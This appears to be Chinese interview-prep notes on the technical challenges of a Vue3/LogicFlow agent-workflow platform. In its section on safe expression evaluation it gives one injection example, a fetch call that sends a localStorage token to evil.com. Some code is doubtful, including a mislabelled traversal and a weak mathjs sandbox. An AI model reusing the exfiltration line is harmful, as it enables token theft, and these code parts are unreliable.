返回笔记首页

智能体工作流平台 - 技术难点与亮点深度分析

主题配置

本文档从技术角度深入分析项目的难点、解决方案和亮点,帮助你在面试中展现技术深度。


一、核心技术难点

难点1:LogicFlow 2.0自定义节点注册失败

问题描述

在集成LogicFlow时,按照官方文档尝试继承基类创建自定义节点,始终报错:

plain
TypeError: Class extends value undefined is not a constructor or null

根因分析

表面原因

  • LogicFlow 2.0的API与1.0完全不同
  • 官方文档未及时更新,示例代码仍是1.0风格
  • 基类获取方式发生变化

深层原因

javascript
// 1.0写法(官方文档示例)
class CustomNode extends lf.CircleNode {
  // ...
}

// 问题:lf.CircleNode在2.0中不存在
// 2.0的节点基类不是挂在lf实例上的

源码分析: 通过查看LogicFlow 2.0源码发现:

  • 节点类不再直接暴露给实例
  • 改为通过注册机制管理节点类型
  • 内部使用了不同的类继承结构

解决方案演进

方案1:修改引入方式(失败)
javascript
import { CircleNode, CircleNodeModel } from '@logicflow/core'

// 尝试直接引入基类,但打包后找不到这些导出

失败原因:LogicFlow 2.0没有直接导出这些基类

方案2:从实例获取(失败)
javascript
const lf = new LogicFlow(...)
console.log(lf.CircleNode) // undefined

失败原因:基类不再挂载在实例上

方案3:类型映射(成功)****✅ 既然无法自定义节点类,那就用内置节点类型+元数据的方式:

javascript
// 业务节点类型映射到LogicFlow内置类型
const typeMap = {
  'start': 'circle',      // 开始节点用圆形
  'end': 'circle',        // 结束节点用圆形
  'agent': 'rect',        // Agent用矩形
  'condition': 'diamond'  // 条件用菱形
}

// 在properties中存储真实业务类型
const nodeConfig = {
  type: 'circle',  // LogicFlow类型
  properties: {
    customType: 'start'  // 业务类型
  }
}

// 业务层根据customType判断行为
const nodeType = node.properties?.customType || node.type

技术收获

设计模式应用

  • 适配器模式:将业务需求适配到LogicFlow的能力边界
  • 策略模式:根据customType决定节点行为

工程思维

  • 遇到技术障碍时,换个角度思考
  • 不要过度依赖官方文档,要学会看源码
  • 抽象业务模型和技术实现,解耦合

可复用经验: 这个方案不仅解决了当前问题,还提供了很好的扩展性:

  • 新增节点类型只需添加映射关系
  • 不依赖LogicFlow的版本更新
  • 方便未来切换到其他流程图库

难点2:拖拽节点定位不准确

问题描述

从左侧面板拖拽节点到画布时,节点总是出现在左上角(0,0)位置,而不是鼠标释放的位置。

问题分析

坐标系统: 浏览器有三个坐标系:

  1. 屏幕坐标(screen):相对于显示器左上角
  2. 视口坐标(client):相对于浏览器窗口左上角
  3. 页面坐标(page):相对于整个文档左上角

LogicFlow画布有自己的坐标系: 4. 画布坐标(canvas):考虑了缩放和平移

核心问题

javascript
// 错误做法
function handleDrop(event) {
  const nodeConfig = {
    x: event.clientX,  // ❌ 直接用浏览器坐标
    y: event.clientY
  }
}

// 问题:
// 1. clientX/Y是相对于浏览器窗口的
// 2. 画布可能有偏移(工具栏、侧边栏)
// 3. 画布可能被缩放或平移

解决方案

正确做法

javascript
function handleDrop(event) {
  event.preventDefault()

  // 使用LogicFlow提供的坐标转换方法
  const point = lf.getPointByClient(event.clientX, event.clientY)

  const nodeConfig = {
    x: point.x,  // ✅ 画布坐标
    y: point.y
  }

  lf.addNode(nodeConfig)
}

getPointByClient内部实现原理

javascript
// LogicFlow源码简化版
getPointByClient(clientX, clientY) {
  const canvasRect = this.container.getBoundingClientRect()

  // 1. 转换为画布容器坐标
  let x = clientX - canvasRect.left
  let y = clientY - canvasRect.top

  // 2. 考虑缩放
  x = x / this.zoom
  y = y / this.zoom

  // 3. 考虑平移
  x = x - this.translateX
  y = y - this.translateY

  return { x, y }
}

深入理解

为什么需要这么复杂

场景1:画布被缩放

plain
用户视图     实际坐标
[100,100] -> zoom=2 -> [50,50]

场景2:画布被平移

plain
translate(100,0)后
视觉位置[200,100] -> 实际坐标[100,100]

场景3:组合变换

plain
clientXY -> 减去容器偏移 -> 除以缩放 -> 减去平移 -> 画布坐标

调试技巧

javascript
function handleDrop(event) {
  console.log('Client:', event.clientX, event.clientY)
  console.log('Canvas:', point.x, point.y)
  console.log('Zoom:', lf.getTransform().zoom)
  console.log('Translate:', lf.getTransform().translate)
}

扩展思考

如果换Canvas实现

javascript
// Canvas的坐标转换
canvas.addEventListener('click', (e) => {
  const rect = canvas.getBoundingClientRect()
  const x = (e.clientX - rect.left) * (canvas.width / rect.width)
  const y = (e.clientY - rect.top) * (canvas.height / rect.height)
})

如果是触摸事件

javascript
// 移动端需要考虑touches
const touch = event.touches[0]
const point = lf.getPointByClient(touch.clientX, touch.clientY)

难点3:编辑态和运行态状态隔离

问题描述

场景

  1. 用户设计好工作流,保存
  2. 切换到调试模式运行
  3. 运行过程中可能想调整参数
  4. 调试结束后,原始设计不应该被修改

初期实现的问题

javascript
// 错误做法
const graphData = ref({
  nodes: [...],
  edges: [...]
})

// 编辑和运行共用同一个对象
// 运行时修改了graphData,保存的数据也变了

解决方案

方案1:深拷贝
javascript
// workflowStore.js
function startExecution() {
  // 保存快照
  this.savedGraphData = JSON.parse(JSON.stringify(this.graphData))

  // 运行时操作graphData
  this.isRunning = true
}

function stopExecution() {
  // 恢复快照
  this.graphData = JSON.parse(JSON.stringify(this.savedGraphData))
  this.isRunning = false
}

优点

  • 简单直接
  • 完全隔离

缺点

  • JSON序列化有限制(函数、undefined会丢失)
  • 大数据量时性能差
  • 深拷贝开销大
方案2:分离状态
javascript
// workflowStore.js
const state = reactive({
  // 编辑态数据
  editData: {
    nodes: [],
    edges: []
  },

  // 运行态数据
  runtimeData: {
    nodes: [],
    edges: [],
    context: {}
  },

  mode: 'edit' // 'edit' | 'debug'
})

// 切换模式时同步数据
function setMode(newMode) {
  if (newMode === 'debug') {
    state.runtimeData = cloneDeep(state.editData)
  }
  state.mode = newMode
}

优点

  • 状态明确分离
  • 可以保留运行历史
  • 方便实现撤销/重做

缺点

  • 内存占用翻倍
  • 状态同步逻辑复杂
最终方案:混合
javascript
// 结合两种方案的优点
const state = reactive({
  graphData: {},  // 主数据
  mode: 'edit'
})

const runtimeSnapshot = ref(null)

function startExecution() {
  // 运行前创建快照
  runtimeSnapshot.value = JSON.parse(JSON.stringify(state.graphData))
  state.mode = 'debug'
}

function stopExecution() {
  // 运行结束询问是否保存修改
  if (hasRuntimeChanges()) {
    if (confirm('是否保存调试时的修改?')) {
      // 保存修改
    } else {
      // 恢复快照
      state.graphData = runtimeSnapshot.value
    }
  }
  runtimeSnapshot.value = null
  state.mode = 'edit'
}

深入思考

状态机设计

plain
[编辑态] --开始运行--> [运行态] --停止--> [编辑态]
   ↓                      ↓
  保存                  暂停
   ↓                      ↓
 [已保存]  <--恢复--  [已暂停]

Vue响应式陷阱

javascript
// ❌ 错误:直接替换会丢失响应式
state.graphData = newData

// ✅ 正确:保持引用
Object.assign(state.graphData, newData)
// 或
state.graphData.nodes = newData.nodes
state.graphData.edges = newData.edges

性能优化

javascript
// 大数据量时用Web Worker做深拷贝
const worker = new Worker('clone-worker.js')
worker.postMessage(graphData)
worker.onmessage = (e) => {
  runtimeSnapshot.value = e.data
}

难点4:条件分支的表达式求值

问题描述

条件节点需要根据表达式决定走哪个分支,如何安全地执行用户输入的表达式?

安全性风险

不安全的做法

javascript
// ❌ 极度危险
function evaluateExpression(expression, context) {
  return eval(expression)  // 代码注入风险!
}

// 用户可以输入:
// "alert('hacked')"
// "fetch('http://evil.com?data=' + localStorage.getItem('token'))"

解决方案演进

方案1:Function构造函数(不安全)
javascript
const func = new Function('context', `return ${expression}`)
return func(context)

// 仍然有风险,可以访问全局对象
方案2:简单解析器(当前方案)
javascript
function evaluateExpression(expression, context) {
  // 只支持简单的比较运算
  if (!expression) return true

  // 支持的操作符
  const operators = ['>', '<', '>=', '<=', '==', '!=']

  for (const op of operators) {
    if (expression.includes(op)) {
      const [left, right] = expression.split(op).map(s => s.trim())

      // 从context获取值
      const leftValue = getValue(context, left)
      const rightValue = parseValue(right)

      // 执行比较
      switch(op) {
        case '>': return leftValue > rightValue
        case '<': return leftValue < rightValue
        case '>=': return leftValue >= rightValue
        case '<=': return leftValue <= rightValue
        case '==': return leftValue == rightValue
        case '!=': return leftValue != rightValue
      }
    }
  }

  return true
}

function getValue(context, path) {
  // 支持点号路径: "user.age"
  return path.split('.').reduce((obj, key) => obj?.[key], context)
}

function parseValue(str) {
  // 尝试解析为数字
  const num = Number(str)
  if (!isNaN(num)) return num

  // 去除引号的字符串
  return str.replace(/^['"]|['"]$/g, '')
}

使用示例

javascript
const context = {
  score: 8.5,
  user: {
    age: 25,
    name: 'Alice'
  }
}

evaluateExpression('score > 7', context)        // true
evaluateExpression('user.age >= 18', context)   // true
evaluateExpression('user.name == "Alice"', context) // true
方案3:使用现成的安全库(生产环境推荐)
javascript
import { create, all } from 'mathjs'

const math = create(all)

// 限制可用函数
const limitedMath = math.create({
  ...math,
  import: undefined,  // 禁用import
  createUnit: undefined  // 禁用危险函数
})

function evaluateExpression(expression, context) {
  try {
    return limitedMath.evaluate(expression, context)
  } catch (error) {
    console.error('Expression evaluation error:', error)
    return false
  }
}

扩展功能

支持逻辑运算

javascript
// score > 7 && user.age >= 18
// score > 9 || user.vip == true

支持函数调用

javascript
// 白名单函数
const allowedFunctions = {
  len: (arr) => arr.length,
  contains: (arr, item) => arr.includes(item),
  max: (...nums) => Math.max(...nums)
}

// len(items) > 10
// contains(tags, "important")

表达式构建器UI

vue
<div class="expression-builder">
  <select v-model="field">
    <option>score</option>
    <option>user.age</option>
  </select>

  <select v-model="operator">
    <option>></option>
    <option><</option>
    <option>==</option>
  </select>

  <input v-model="value" type="number">

  <!-- 生成: score > 7 -->
</div>

难点5:异步Agent调用的错误处理

问题场景

多种失败情况

  1. API Key无效
  2. 网络超时
  3. 请求限流(429)
  4. 服务器错误(500)
  5. 余额不足
  6. 响应格式错误

错误处理策略

策略1:降级到模拟模式
javascript
async executeLLM() {
  try {
    // 尝试真实调用
    if (this.config.apiKey) {
      return await this.callRealAPI()
    }
  } catch (error) {
    // 失败后降级
    console.warn('API调用失败,切换到模拟模式:', error)
  }

  // 返回模拟数据
  return {
    success: true,
    simulated: true,
    output: '模拟的LLM响应'
  }
}
策略2:重试机制
javascript
async callWithRetry(fn, maxRetries = 3) {
  let lastError

  for (let i = 0; i < maxRetries; i++) {
    try {
      return await fn()
    } catch (error) {
      lastError = error

      // 判断是否应该重试
      if (!shouldRetry(error)) {
        throw error
      }

      // 指数退避
      const delay = Math.pow(2, i) * 1000
      await this.sleep(delay)

      console.log(`重试 ${i + 1}/${maxRetries}...`)
    }
  }

  throw lastError
}

function shouldRetry(error) {
  // 网络错误、超时、429限流 应该重试
  // 401认证失败、400参数错误 不应该重试
  const retryableCodes = [429, 500, 502, 503, 504]
  return retryableCodes.includes(error.status)
}
策略3:熔断器模式
javascript
class CircuitBreaker {
  constructor(threshold = 5, timeout = 60000) {
    this.failureCount = 0
    this.threshold = threshold
    this.timeout = timeout
    this.state = 'CLOSED'  // CLOSED | OPEN | HALF_OPEN
    this.nextAttempt = Date.now()
  }

  async call(fn) {
    if (this.state === 'OPEN') {
      if (Date.now() < this.nextAttempt) {
        throw new Error('熔断器打开,暂时不可用')
      }
      this.state = 'HALF_OPEN'
    }

    try {
      const result = await fn()
      this.onSuccess()
      return result
    } catch (error) {
      this.onFailure()
      throw error
    }
  }

  onSuccess() {
    this.failureCount = 0
    this.state = 'CLOSED'
  }

  onFailure() {
    this.failureCount++
    if (this.failureCount >= this.threshold) {
      this.state = 'OPEN'
      this.nextAttempt = Date.now() + this.timeout
    }
  }
}

// 使用
const breaker = new CircuitBreaker()
const result = await breaker.call(() => callAPI())
策略4:超时控制
javascript
async function callWithTimeout(fn, timeout = 30000) {
  return Promise.race([
    fn(),
    new Promise((_, reject) =>
      setTimeout(() => reject(new Error('请求超时')), timeout)
    )
  ])
}

// 使用
const result = await callWithTimeout(
  () => fetch(url),
  10000  // 10秒超时
)

综合方案

javascript
async executeLLM() {
  const breaker = this.getCircuitBreaker()

  try {
    return await breaker.call(async () => {
      return await callWithTimeout(
        async () => {
          return await callWithRetry(
            () => this.callRealAPI(),
            3  // 最多重试3次
          )
        },
        30000  // 30秒超时
      )
    })
  } catch (error) {
    // 记录错误
    this.logError(error)

    // 降级到模拟模式
    return this.getFallbackResponse()
  }
}

二、技术亮点与创新

亮点1:灵活的Agent执行器架构

设计理念

将Agent抽象为统一接口,支持多种类型的扩展。

核心实现

接口设计

javascript
class AgentExecutor {
  constructor(node, context) {
    this.node = node
    this.context = context
    this.config = node.properties
  }

  // 统一的执行接口
  async execute() {
    const type = this.config.agentType

    // 策略模式分发
    const handler = this.getHandler(type)
    return await handler.call(this)
  }

  getHandler(type) {
    const handlers = {
      'llm': this.executeLLM,
      'http': this.executeHTTP,
      'video-download': this.executeVideoDownload,
      'data-processor': this.executeDataProcessor,
      'custom': this.executeCustom
    }

    return handlers[type] || handlers['custom']
  }
}

扩展性

javascript
// 新增Agent类型只需3步

// 1. 注册类型
nodeStore.nodeTypes.push({
  type: 'agent',
  label: '邮件发送',
  icon: '📧',
  config: {
    agentType: 'email',
    to: '',
    subject: '',
    body: ''
  }
})

// 2. 添加执行逻辑
AgentExecutor.prototype.executeEmail = async function() {
  const { to, subject, body } = this.config
  // 调用邮件API
  return { success: true, output: 'Email sent' }
}

// 3. 添加UI配置
// 在PropertiesPanel添加表单

模拟与真实无缝切换

javascript
async executeLLM() {
  // 策略1:无API Key -> 模拟模式
  if (!this.config.apiKey) {
    return this.simulateLLM()
  }

  // 策略2:API失败 -> 降级到模拟
  try {
    return await this.callRealLLM()
  } catch (error) {
    return this.simulateLLM()
  }
}

simulateLLM() {
  return {
    success: true,
    simulated: true,
    output: `[模拟响应] ${this.config.prompt}的回答...`,
    usage: { tokens: 0 }
  }
}

技术价值

  1. 解耦合:Agent实现和工作流引擎分离
  2. 可测试:模拟模式方便单元测试
  3. 可扩展:新增类型不影响现有代码
  4. 用户友好:不需要API Key也能体验

亮点2:工作流引擎的DAG遍历算法

核心算法

基于栈的DFS遍历

javascript
async execute() {
  const startNode = this.findStartNode()
  this.executionStack = [startNode]
  this.visited = new Set()

  while (this.executionStack.length > 0) {
    const node = this.executionStack.shift()

    // 防止循环
    if (this.visited.has(node.id)) {
      throw new Error('检测到循环依赖')
    }
    this.visited.add(node.id)

    // 执行节点
    const result = await this.executeNode(node)

    if (result.finished) break
    if (result.paused) return

    // 获取下一批节点
    const nextNodes = this.getNextNodes(node, result)
    this.executionStack.push(...nextNodes)
  }
}

条件分支处理

javascript
getNextNodes(node, result) {
  const outEdges = this.findOutgoingEdges(node.id)

  if (node.type === 'condition') {
    // 根据result.branch选择分支
    return outEdges
      .filter(edge => edge.properties?.condition === result.branch)
      .map(edge => this.findNode(edge.targetNodeId))
  }

  if (node.type === 'parallel') {
    // 并行网关:所有分支都执行
    return outEdges.map(edge => this.findNode(edge.targetNodeId))
  }

  // 普通节点:按顺序执行
  return outEdges.map(edge => this.findNode(edge.targetNodeId))
}

Context管理

javascript
class ExecutionContext {
  constructor() {
    this.data = {}
    this.history = []
  }

  set(key, value) {
    this.data[key] = value
    this.history.push({ key, value, timestamp: Date.now() })
  }

  get(key) {
    return this.data[key]
  }

  getLastOutput() {
    return this.data.lastOutput
  }

  // 支持回溯
  rollback(timestamp) {
    this.history = this.history.filter(h => h.timestamp <= timestamp)
    this.data = this.history.reduce((acc, h) => {
      acc[h.key] = h.value
      return acc
    }, {})
  }
}

性能优化

懒加载执行

javascript
// 不是一次性加载所有节点,而是执行到才加载
async executeNode(node) {
  if (!node.loaded) {
    node = await this.loadNodeConfig(node.id)
  }
  // ...
}

并行优化

javascript
// 并行节点真正并行执行
if (node.type === 'parallel') {
  const nextNodes = this.getNextNodes(node)
  const results = await Promise.all(
    nextNodes.map(n => this.executeNode(n))
  )
  return this.mergeResults(results)
}

亮点3:调试系统的实现

断点机制

数据结构

javascript
// workflowStore.js
const breakpoints = ref([
  'node-1',  // 在node-1设置了断点
  'node-5'   // 在node-5设置了断点
])

执行检测

javascript
async executeNode(node) {
  // 执行前检查断点
  if (this.breakpoints.includes(node.id)) {
    this.isPaused = true
    this.pausedAt = node

    // 通知UI
    this.onPause(node)

    // 返回暂停状态
    return { paused: true, node }
  }

  // 正常执行
  return await this.doExecute(node)
}

单步执行

javascript
async stepOver() {
  if (this.executionStack.length === 0) {
    return { finished: true }
  }

  // 执行一个节点
  const node = this.executionStack.shift()
  const result = await this.executeNode(node)

  // 不继续执行,返回控制权给用户
  if (!result.finished) {
    const nextNodes = this.getNextNodes(node, result)
    this.executionStack.push(...nextNodes)
  }

  return {
    current: node,
    next: this.executionStack[0],
    finished: result.finished
  }
}

日志系统

日志结构

javascript
const logEntry = {
  id: generateId(),
  type: 'info' | 'success' | 'error' | 'warning',
  timestamp: new Date().toISOString(),
  nodeId: 'node-1',
  nodeName: 'LLM分析',
  message: '节点执行成功',
  data: {
    input: {...},
    output: {...},
    duration: 1230  // ms
  }
}

性能优化

javascript
// 虚拟滚动,只渲染可见日志
const visibleLogs = computed(() => {
  const startIndex = Math.floor(scrollTop / itemHeight)
  const endIndex = startIndex + visibleCount
  return executionLog.slice(startIndex, endIndex)
})

三、架构设计思考

为什么选择Vue3而不是React?

Vue3的优势(项目中体现)

1. 响应式系统简单直观
javascript
// Vue3 - 自动追踪依赖
const count = ref(0)
const double = computed(() => count.value * 2)

// React - 需要手动管理依赖
const [count, setCount] = useState(0)
const double = useMemo(() => count * 2, [count])
2. 模板语法更适合快速开发
vue
<!-- Vue3 - 声明式 -->
<div v-if="isRunning" class="indicator">
  正在执行...
</div>

<!-- React - 需要JSX表达式 -->
{isRunning && (
  <div className="indicator">
    正在执行...
  </div>
)}
3. 双向绑定减少样板代码
vue
<!-- Vue3 -->
<input v-model="nodeProperties.prompt" />

<!-- React -->
<input
  value={prompt}
  onChange={(e) => setPrompt(e.target.value)}
/>

如果用React会怎样?

需要重写的部分

  • 所有的ref改成useState
  • 所有的computed改成useMemo
  • 所有的watch改成useEffect
  • Props传递需要更小心

优势

  • TypeScript支持更好
  • 生态更丰富
  • 更容易做SSR

结论: 对于这个项目,Vue3更合适,因为:

  1. 状态管理复杂,响应式系统省心
  2. 大量的表单,v-model很方便
  3. 不需要SSR
  4. 个人更熟悉Vue

为什么选择Pinia而不是Vuex?

已在面试SOP中详细说明,这里补充技术细节。

Pinia的类型推导

javascript
// 自动推导类型,IDE支持很好
const store = useWorkflowStore()
store.workflows  // ✅ 自动补全
store.saveWorkflow()  // ✅ 参数提示

模块化更自然

javascript
// Pinia - 每个store就是一个模块
export const useWorkflowStore = defineStore('workflow', ...)
export const useNodeStore = defineStore('node', ...)

// Vuex - 需要注册modules
modules: {
  workflow: workflowModule,
  node: nodeModule
}

四、可以深挖的技术点

深挖点1:Vue3 Composition API的设计思想

为什么引入Composition API

问题:Options API的局限

javascript
export default {
  data() {
    return {
      user: null,
      posts: [],
      loading: false
    }
  },
  methods: {
    fetchUser() {},
    fetchPosts() {},
    // 相关逻辑分散在不同option中
  },
  mounted() {
    this.fetchUser()
    this.fetchPosts()
  }
}

解决:Composition API按功能组织

javascript
export default {
  setup() {
    // 用户相关逻辑聚合在一起
    const { user, fetchUser } = useUser()

    // 文章相关逻辑聚合在一起
    const { posts, fetchPosts } = usePosts()

    onMounted(() => {
      fetchUser()
      fetchPosts()
    })

    return { user, posts }
  }
}

项目中的应用

javascript
// Canvas.vue
function useCanvasOperation(lf) {
  const zoom = ref(1)

  function zoomIn() {
    zoom.value = Math.min(zoom.value + 0.1, 2)
    lf.zoom(zoom.value)
  }

  function zoomOut() {
    zoom.value = Math.max(zoom.value - 0.1, 0.5)
    lf.zoom(zoom.value)
  }

  return { zoom, zoomIn, zoomOut }
}

function useNodeDrag(lf) {
  function handleDrop(event) {
    // 拖拽逻辑
  }

  return { handleDrop }
}

// 在组件中组合使用
setup() {
  const lf = initLogicFlow()
  const { zoom, zoomIn, zoomOut } = useCanvasOperation(lf)
  const { handleDrop } = useNodeDrag(lf)

  return { zoom, zoomIn, zoomOut, handleDrop }
}

深挖点2:如何实现撤销/重做功能

命令模式

javascript
class Command {
  execute() {}
  undo() {}
}

class AddNodeCommand extends Command {
  constructor(lf, nodeConfig) {
    super()
    this.lf = lf
    this.nodeConfig = nodeConfig
    this.nodeId = null
  }

  execute() {
    this.nodeId = this.lf.addNode(this.nodeConfig)
  }

  undo() {
    this.lf.deleteNode(this.nodeId)
  }
}

class CommandManager {
  constructor() {
    this.history = []
    this.current = -1
  }

  execute(command) {
    command.execute()

    // 清除current之后的历史
    this.history = this.history.slice(0, this.current + 1)
    this.history.push(command)
    this.current++
  }

  undo() {
    if (this.current >= 0) {
      this.history[this.current].undo()
      this.current--
    }
  }

  redo() {
    if (this.current < this.history.length - 1) {
      this.current++
      this.history[this.current].execute()
    }
  }
}

深挖点3:如何实现工作流的版本管理

数据结构

javascript
const workflow = {
  id: 'workflow-1',
  name: '视频处理流程',
  versions: [
    {
      version: 1,
      createdAt: '2024-01-01',
      graphData: {...},
      changelog: '初始版本'
    },
    {
      version: 2,
      createdAt: '2024-01-02',
      graphData: {...},
      changelog: '添加了视频下载节点'
    }
  ],
  currentVersion: 2
}

Diff算法

javascript
function diffWorkflow(v1, v2) {
  return {
    added: v2.nodes.filter(n => !v1.nodes.find(n1 => n1.id === n.id)),
    removed: v1.nodes.filter(n => !v2.nodes.find(n2 => n2.id === n.id)),
    modified: v2.nodes.filter(n => {
      const old = v1.nodes.find(n1 => n1.id === n.id)
      return old && JSON.stringify(old) !== JSON.stringify(n)
    })
  }
}

五、总结

技术栈掌握程度自评

技术 掌握程度 说明
Vue3 ⭐⭐⭐⭐ 能熟练使用Composition API,理解响应式原理
Pinia ⭐⭐⭐⭐ 能设计合理的store结构,理解状态管理最佳实践
LogicFlow ⭐⭐⭐ 能集成使用,解决了自定义节点问题,但对源码理解有限
工作流引擎 ⭐⭐⭐⭐ 自己实现了完整引擎,理解DAG遍历算法
工程化 ⭐⭐⭐ 能配置Vite、ESLint,但对构建优化了解不深

可以继续深入的方向

  1. 性能优化
    • 虚拟滚动
    • Web Worker
    • Canvas渲染
  2. 测试
    • 单元测试
    • E2E测试
    • 性能测试
  3. 后端集成
    • RESTful API设计
    • WebSocket实时通信
    • 数据库设计
  4. DevOps
    • Docker部署
    • CI/CD流程
    • 监控告警